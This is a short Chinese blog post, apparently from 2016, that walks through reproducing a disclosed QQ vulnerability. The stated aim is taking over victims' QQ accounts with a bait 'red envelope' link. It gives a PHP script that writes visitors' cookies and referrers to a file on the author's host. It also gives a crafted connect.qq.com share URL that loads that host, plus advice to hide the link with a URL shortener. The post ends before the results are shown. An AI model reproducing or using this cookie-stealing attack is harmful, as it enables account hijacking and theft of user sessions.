领我红包立马接管你的QQ{详细}

龙宇 2016-7-19 QQ黑客 0 0

　　白天在公司看到这个链接:https://butian.360.cn/vul/info/qid/QTVA-2016-368828

　　感觉牛逼哄哄的样子

　　然后乌云也有...http://wooyun.org/bugs/wooyun-2016-0172586

　　我想对这位大牛说

　　你太TM牛了双投还TM那么明显 2333333 1W泡汤了吧?

　　然后下午就有人在社区公布了大致思路:http://zone.wooyun.org/content/25155

　　然后自己就赶紧测试复现一下

　　还真让我测试成功了过程如下:

　　首先先在自己的博客或者shell上建立个文件我这用PHP写了一个渣渣的接收

　　$txt = "cookie.txt"; //保存的文件

　　$file = fopen($txt,"a+"); //读写方式打开

以下是代码片段：
fwrite($file,"/r/nREFERER:".var_export($_SERVER[’HTTP_REFERER’],true)."/r/nCookie:".var_export($_SERVER[’HTTP_COOKIE’],true)."/r/n--------------------------------------".date("Y-m-d H:i:s",time())); //写入
　　fclose($file); //释放
　　?>
　　然后构造地址:
　　http://connect.qq.com/widget/shareqq/index.html?url=http://www.t0n9.com/q.php&desc=&title=&summary=&pics=http://www.t0n9.com/q.php&flash=&sit&style=201&width=32&height=32
　　太长可以用短网址缩短 http://www.dwz.cn

　　用户访问后的效果